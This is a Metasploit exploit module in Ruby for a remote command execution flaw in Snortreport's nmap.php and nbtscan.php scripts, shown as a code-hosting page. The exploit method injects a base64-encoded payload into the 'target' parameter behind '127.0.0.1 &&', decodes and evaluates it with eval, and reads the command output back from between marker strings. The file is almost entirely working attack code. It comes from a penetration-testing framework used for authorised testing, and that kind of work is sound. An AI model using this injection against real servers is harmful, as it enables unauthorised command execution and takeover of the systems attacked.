Spencer McIntyre
97 lines
2.5 KiB
Ruby
97 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Snortreport nmap.php/nbtscan.php Remote Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in
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nmap.php and nbtscan.php scripts.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Paul Rascagneres' # itrust consulting during hack.lu 2011
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],
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'References' => [
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['CVE', '2011-10017'],
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['OSVDB', '67739'],
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['URL', 'http://www.symmetrixtech.com/articles/news-016.html']
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],
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'Payload' => {
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby telnet python',
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}
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},
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'Platform' => %w{linux unix},
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'Arch' => ARCH_CMD,
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'Targets' => [['Automatic', {}]],
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'DisclosureDate' => '2011-09-19',
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'DefaultTarget' => 0,
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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register_options(
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[
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OptString.new('URI', [true, "The full URI path to nmap.php or nbtscan.php", "/snortreport-1.3.2/nmap.php"]),
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]
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)
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end
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def exploit
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base64_payload = Rex::Text.encode_base64(payload.encoded)
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start = "127.0.0.1 && echo XXXXX && eval $(echo "
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last = " | base64 -d) && echo ZZZZZ"
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custom_payload = start << base64_payload << last
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['URI']),
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'vars_get' =>
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{
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'target' => custom_payload
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}
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}, 10)
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if (res)
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to_print = false
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already_print = false
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part = res.body.gsub("<BR>", "")
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part.each_line do |line|
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if line =~ /ZZZZZ/
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to_print = false
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end
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if to_print == true
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print(line)
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end
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if line =~ /XXXXX/
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already_print = true
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to_print = true
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end
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end
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if already_print == false
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print_error("This server may not be vulnerable")
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end
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else
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print_error("No response from the server")
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end
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end
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end
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